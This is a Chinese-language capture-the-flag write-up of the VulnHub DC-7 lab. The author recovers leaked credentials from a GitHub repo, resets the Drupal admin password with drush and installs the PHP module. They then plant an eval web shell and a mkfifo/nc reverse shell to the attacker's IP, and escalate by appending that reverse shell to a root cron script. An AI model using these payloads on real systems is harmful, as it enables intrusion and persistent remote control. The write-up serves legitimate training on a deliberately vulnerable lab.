vulnhub dc-7

信息收集

image-20220412194007921

ip已经确定为:192.168.123.76

然后接下来就是端口、服务、后台等一波信息收集

发现了22和80端口开着的

image-20220412194112412

访问一波80端口,虽然底下已经标注了是wordpress的cms

image-20220412194255371

在左下角发现了一串信息 @DC7USER ,这个信息感觉在以前的版本中没有发现过,这是个啥意思,搜一下

好家伙,百度直接出现了一个github仓库,进去看一看

关键词查询DC7User

发现有很多文件,当我一看见config.php这种敏感文件,我就忍不住去看一下,没想到发现了一个用户账号和密码

image-20220412203017294

image-20220412203030096

难道是drupal的默认账号密码?好家伙,赶紧试一试

登录看看,发现登录失败

image-20220412205008686

好家伙,这是忽悠我呢

然后我想了想,我记得还有个22端口打开了的,也去试一试吧

SSH连接

没想到可以连上去,好家伙

image-20220412205123196

然后在上面发现了一个mbox邮件,里面好像记录的是日志信息,并且这肯定是有任务计划程序,因为出现了好几段关于数据库的信息,根据时间嘻嘻,这个任务计划每15分钟执行一次

image-20220412205543210

果不其然在opt/script下发现了计划任务shell脚本

image-20220412205738948

我也在msf里面搜索了一波关于drupal的漏洞,都试了一边,发现没有成功的,这drupal 8版本

看来还是只有去把源文件给翻个遍

发现就在用户的目录下还有一个备份的脚本文件,好家伙,之前太心切都忘了这个文件夹

好家伙,这玩意儿是用gpg加密了的,只有再有没有其他思路

然后又回去把之前找到的一些文件仔细看了一遍,发现在backup.sh脚本文件中的drush命令,这个命令是drupal的常用命令,能干的事情非常多,可以利用这个命令新建用户

1
drush ucrt abc –password=abc

不过尝试之后发现还是级别不够

image-20220412211551314

然后我去了网站的目录下去执行,发现成功了

image-20220412211619622

欣喜若狂,去登录试试

image-20220412211741830

狂个吊毛,还是登录失败,然后我用旁边的重置密码功能测试出是有一个admin账号的

drush命令修改密码

想想办法能不能利用drush命令把admin用户的密码给它改了

在网上找到了命令,把admin用户的密码改为admin

1
drush user-password admin --password='admin'

好家伙,修改成功,那直接登录一波

image-20220412212238903

成功登录后台

image-20220412212301209

看见这个界面就让我想起了上次打过的靶场,那一次是使用PHP反弹shell,这次当然也是老样子啦

没想到居然没有PHP脚本选项

image-20220412212923867

网上找了一下,是可以通过安装php环境插件的

安装php环境插件

php插件链接

1
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

image-20220412213637217

安装完了之后,记得还要去扩展里面启用它

image-20220412213923395

在这里找到PHP并选中,然后选择最底部的install ,这样php环境就启用了

接下来就开始写php shell了

php shell

利用php的eval函数,先用蚁剑连接

1
2
3
<?php
@eval($_REQUEST[php])
?>

连接成功

image-20220412215849734

用nc反弹到kali上

image-20220412220137430

再使用python提升为交互式shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

因为这个任务计划脚本是属于www-data组,且具有写权限

image-20220412220400757

向计划任务写反弹shell

所以我们向里面写入nc 连接 shell,追加进去

1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.123.184 9898 >/tmp/f" >> backups.sh

等待15分钟即可

成功拿到shell

image-20220412222341251

成功拿到flag

image-20220412222615324